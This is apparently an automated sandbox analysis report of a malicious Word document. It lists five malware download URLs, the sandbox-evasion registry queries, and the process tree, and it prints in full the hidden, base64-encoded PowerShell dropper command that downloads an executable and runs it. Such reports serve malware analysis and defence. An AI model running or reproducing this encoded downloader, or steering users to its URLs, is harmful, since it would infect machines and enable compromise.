Analysis
-
max time kernel
29s -
resource
win10v191014 -
submitted
27-01-2020 20:37
Task
task1
Sample
2f14a47027386ec246efa5df6e6be6ac6fdf239cccd975e4fd5d8ec04d5af658.doc
Resource
win10v191014
0 signatures
General
-
Target
2f14a47027386ec246efa5df6e6be6ac6fdf239cccd975e4fd5d8ec04d5af658.doc
-
Sample
200127-rqa8pm6ge2
-
SHA256
2f14a47027386ec246efa5df6e6be6ac6fdf239cccd975e4fd5d8ec04d5af658
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://fietsenmetkinderen.info/App_Data/ASHFouI/
exe.dropper
https://rokonworld.xyz/cgi-bin/bf99ypv-nka70qs-62/
exe.dropper
http://www.meubelontwerpstudioheyne.nl/languages/ndZNarqnj/
exe.dropper
http://bursary.engsoc.queensu.ca/wp-admin/48ech-ddpjkzp-29821620/
exe.dropper
http://lapmangfpt.haiphong.vn/wp-admin/k50i2cm5qi-9wnfau-7879373385/
Signatures
-
Process spawned unexpected child process 1 IoCs
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4048 5016 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4048 Powershell.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4892 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
WINWORD.EXEpid process 4892 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2f14a47027386ec246efa5df6e6be6ac6fdf239cccd975e4fd5d8ec04d5af658.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4892
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABOAGcAZgBwAGwAaAB1AGcAcwA9ACcAWABlAGoAawBhAGIAbwBoACcAOwAkAE8AbABpAGUAcwBjAGEAZgBzAG0AIAA9ACAAJwA0ADkAMQAnADsAJABKAHUAZAB6AGIAdABpAGsAPQAnAFcAcgBjAG0AZABvAHgAcgB1AGsAJwA7ACQATAB2AGoAeABwAHMAaQBlAGkAeQBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABPAGwAaQBlAHMAYwBhAGYAcwBtACsAJwAuAGUAeABlACcAOwAkAEcAawB6AGoAcgB6AGQAZABmAGEAdwBqAD0AJwBNAGwAZgBiAHkAaAB6AHUAYQBuACcAOwAkAE0AcQBzAG8AZwBjAGQAawBiAHEAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAYwBsAGkARQBuAHQAOwAkAE8AagBlAGEAZwBiAHkAYwBqAGcAeAA9ACcAaAB0AHQAcABzADoALwAvAGYAaQBlAHQAcwBlAG4AbQBlAHQAawBpAG4AZABlAHIAZQBuAC4AaQBuAGYAbwAvAEEAcABwAF8ARABhAHQAYQAvAEEAUwBIAEYAbwB1AEkALwAqAGgAdAB0AHAAcwA6AC8ALwByAG8AawBvAG4AdwBvAHIAbABkAC4AeAB5AHoALwBjAGcAaQAtAGIAaQBuAC8AYgBmADkAOQB5AHAAdgAtAG4AawBhADcAMABxAHMALQA2ADIALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAGUAdQBiAGUAbABvAG4AdAB3AGUAcgBwAHMAdAB1AGQAaQBvAGgAZQB5AG4AZQAuAG4AbAAvAGwAYQBuAGcAdQBhAGcAZQBzAC8AbgBkAFoATgBhAHIAcQBuAGoALwAqAGgAdAB0AHAAOgAvAC8AYgB1AHIAcwBhAHIAeQAuAGUAbgBnAHMAbwBjAC4AcQB1AGUAZQBuAHMAdQAuAGMAYQAvAHcAcAAtAGEAZABtAGkAbgAvADQAOABlAGMAaAAtAGQAZABwAGoAawB6AHAALQAyADkAOAAyADEANgAyADAALwAqAGgAdAB0AHAAOgAvAC8AbABhAHAAbQBhAG4AZwBmAHAAdAAuAGgAYQBpAHAAaABvAG4AZwAuAHYAbgAvAHcAcAAtAGEAZABtAGkAbgAvAGsANQAwAGkAMgBjAG0ANQBxAGkALQA5AHcAbgBmAGEAdQAtADcAOAA3ADkAMwA3ADMAMwA4ADUALwAnAC4AIgBzAFAATABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgAbQByAHAAcwB5AG0AbwBuAHMAYQBzAGIAPQAnAFAAZAB3AHYAdABwAHMAYwBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABCAG8AeABmAGwAZQB1AHYAIABpAG4AIAAkAE8AagBlAGEAZwBiAHkAYwBqAGcAeAApAHsAdAByAHkAewAkAE0AcQBzAG8AZwBjAGQAawBiAHEALgAiAEQAYABvAGAAdwBuAGwAYABPAEEARABmAEkATABlACIAKAAkAEIAbwB4AGYAbABlAHUAdgAsACAAJABMAHYAagB4AHAAcwBpAGUAaQB5AG8AKQA7ACQATQBqAHYAbQBrAG0AZAB0AGMAcQBtAHEAPQAnAFcAaQB4AHQAbABuAHoAcABiAGoAcQBlAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABMAHYAagB4AHAAcwBpAGUAaQB5AG8AKQAuACIATABgAEUATgBgAGcAdABIACIAIAAtAGcAZQAgADMAMAAyADkANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAdAAiACgAJABMAHYAagB4AHAAcwBpAGUAaQB5AG8AKQA7ACQASwBmAGMAYQBtAGMAcwBiAD0AJwBPAGkAZwBxAGQAbgBvAHgAdwBnAHYAJwA7AGIAcgBlAGEAawA7ACQAWgBzAHcAaQBsAHYAZgB1AD0AJwBYAGcAZwBuAGgAawB1AHAAdgBsACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAagBrAGYAZABwAHUAcQBjAGkAYgBmAGQAPQAnAFQAZwBnAGMAdAB6AHkAaQBqAHgAYQAnAA==1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:4048